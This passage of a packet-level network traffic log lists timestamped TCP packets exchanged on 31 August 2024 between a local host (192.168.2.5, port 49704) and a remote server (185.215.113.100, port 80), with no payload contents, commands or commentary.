Aug 31, 2024 10:14:13.491127968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491144896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491157055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491178036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491261005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491271019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491288900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491297960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491314888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491322041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491333961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491343021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491354942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491367102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491377115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491378069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491389990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491400957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491409063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491425037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491429090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491441011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491450071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491458893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491461992 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491477966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491491079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491580963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491591930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491615057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491617918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491625071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491626978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491642952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491657019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491682053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491691113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491717100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491717100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491725922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491744041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491750956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491751909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491756916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.491777897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.491801023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492058992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492068052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492095947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492124081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492131948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492157936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492177010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492439032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492449999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492468119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492475986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492476940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492490053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492499113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492500067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492510080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492513895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492533922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492542028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492594004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492604971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492623091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492631912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492633104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492644072 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492656946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492657900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492669106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492682934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492688894 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492714882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492750883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492760897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.492789030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.492803097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635245085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635261059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635279894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635293007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635314941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635324001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635325909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635339022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635373116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635382891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635386944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635396004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635415077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635421038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635433912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635438919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635449886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635454893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635464907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635469913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635482073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635485888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635503054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635516882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635526896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635567904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635585070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635595083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635627985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635641098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635651112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635669947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635678053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635684967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635704994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635729074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635761976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635802031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635807991 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635821104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635840893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635845900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635852098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635860920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635875940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635891914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.635926008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.635965109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636259079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636270046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636288881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636296988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636298895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636312008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636318922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636331081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636337042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636352062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636363029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636365891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636384964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636389971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636394978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636414051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636415005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636423111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636430979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636459112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636850119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636861086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636879921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636887074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636894941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.636912107 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.636934996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.637677908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.637689114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.637706995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.637725115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.637752056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638101101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638124943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638134003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638144970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638154030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638163090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638163090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638194084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638211966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638221025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638247013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638251066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638269901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638276100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638279915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638293028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638298988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638308048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638334036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638407946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638449907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638467073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638504982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638617992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638629913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638650894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638668060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638691902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638696909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638706923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638725996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638735056 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638746977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638751030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638758898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638767958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638780117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638780117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638793945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638796091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638808012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638816118 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638829947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638830900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638844967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638870001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638871908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638880968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638906002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638907909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638916969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638930082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638941050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638942003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638957024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638966084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638977051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638981104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.638984919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.638998985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639003992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639014006 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639014959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639045000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639067888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639079094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639098883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639106989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639133930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639152050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639162064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639195919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639342070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639350891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639369965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639380932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.639381886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639408112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.639417887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.641886950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641899109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641916990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641927004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641937971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.641947031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641957045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641968966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.641977072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.641978025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.641997099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642003059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642008066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642019033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642025948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642035007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642036915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642050982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642057896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642066956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642072916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642086983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642095089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642101049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642118931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642119884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642141104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642144918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642152071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642169952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642172098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642182112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642183065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642200947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642210960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642211914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642230988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642235994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642240047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642260075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642263889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642271042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642277002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642290115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642302036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642308950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642323971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642330885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642333984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642353058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642354012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642365932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642369032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642385960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642402887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642407894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642420053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642430067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642446041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642450094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642461061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642462969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642479897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642487049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642501116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642515898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642518044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642527103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642533064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.642556906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.642584085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784245968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784324884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784466982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784477949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784502029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784504890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784523964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784526110 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784538984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784545898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784555912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784563065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784574032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784576893 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784594059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784595013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784607887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784616947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784626007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784634113 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:13.784641981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:13.784650087 CEST	49704	80	192.168.2.5	185.215.113.100
